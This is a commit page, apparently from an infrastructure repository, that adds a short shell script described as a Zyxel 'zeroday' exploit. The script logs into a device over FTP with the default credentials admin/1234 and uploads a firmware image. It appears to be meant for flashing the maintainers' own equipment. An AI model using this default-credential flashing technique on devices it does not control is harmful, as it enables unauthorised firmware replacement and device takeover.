feat(scripts): Add zyxel exploit script
All checks were successful
Check meta / check_meta (pull_request) Successful in 15s
Check meta / check_dns (pull_request) Successful in 15s
Run pre-commit on all files / pre-commit (push) Successful in 24s
Check workflows / check_workflows (pull_request) Successful in 25s
Build all the nodes / netcore02 (pull_request) Successful in 29s
Build all the nodes / ap01 (pull_request) Successful in 41s
Build the shell / build-shell (pull_request) Successful in 26s
Run pre-commit on all files / pre-commit (pull_request) Successful in 23s
Build all the nodes / hypervisor02 (pull_request) Successful in 1m46s
Build all the nodes / hypervisor01 (pull_request) Successful in 1m47s
Build all the nodes / hypervisor03 (pull_request) Successful in 2m6s
Build all the nodes / build01 (pull_request) Successful in 2m12s
Build all the nodes / bridge01 (pull_request) Successful in 2m15s
Build all the nodes / tower01 (pull_request) Successful in 2m15s
Build all the nodes / web02 (pull_request) Successful in 1m54s
Build all the nodes / geo02 (pull_request) Successful in 2m19s
Build all the nodes / web03 (pull_request) Successful in 1m52s
Build all the nodes / storage01 (pull_request) Successful in 2m26s
Build all the nodes / rescue01 (pull_request) Successful in 2m35s
Build all the nodes / vault01 (pull_request) Successful in 2m23s
Build all the nodes / geo01 (pull_request) Successful in 2m40s
Build all the nodes / web01 (pull_request) Successful in 2m31s
Build all the nodes / compute01 (pull_request) Successful in 2m59s

This commit is contained in:
sinavir 2025-02-03 13:25:54 +01:00
parent 6fffa8eb13
commit c9dc36ed08
No known key found for this signature in database

35
scripts/ftp_zeroday.sh Executable file
View file

@ -0,0 +1,35 @@
#!/usr/bin/env nix-shell
#!nix-shell -p inetutils -i bash
# SPDX-FileCopyrightText: 2024 Maurice Debray <maurice.debray@dgnum.eu>
#
# SPDX-License-Identifier: EUPL-1.2
#
# Tribute to RaitoBezarius for finding the exploit
set -euxo pipefail
usage() {
echo "./ftp_zeroday.sh [FIT-IMAGE] [IP]"
}
if [ "$#" -ne 2 ]; then
usage
exit 1
fi
if ! [ -e "$1" ]; then
echo "$1 not found" >&2
exit 2
fi
IMAGE="$1"
IP="$2"
echo "Trying to flash $IMAGE to $IP..."
# TODO: make it exit cleanly
ftp -niv <<EOF
open $IP
user admin 1234
binary
put $IMAGE
EOF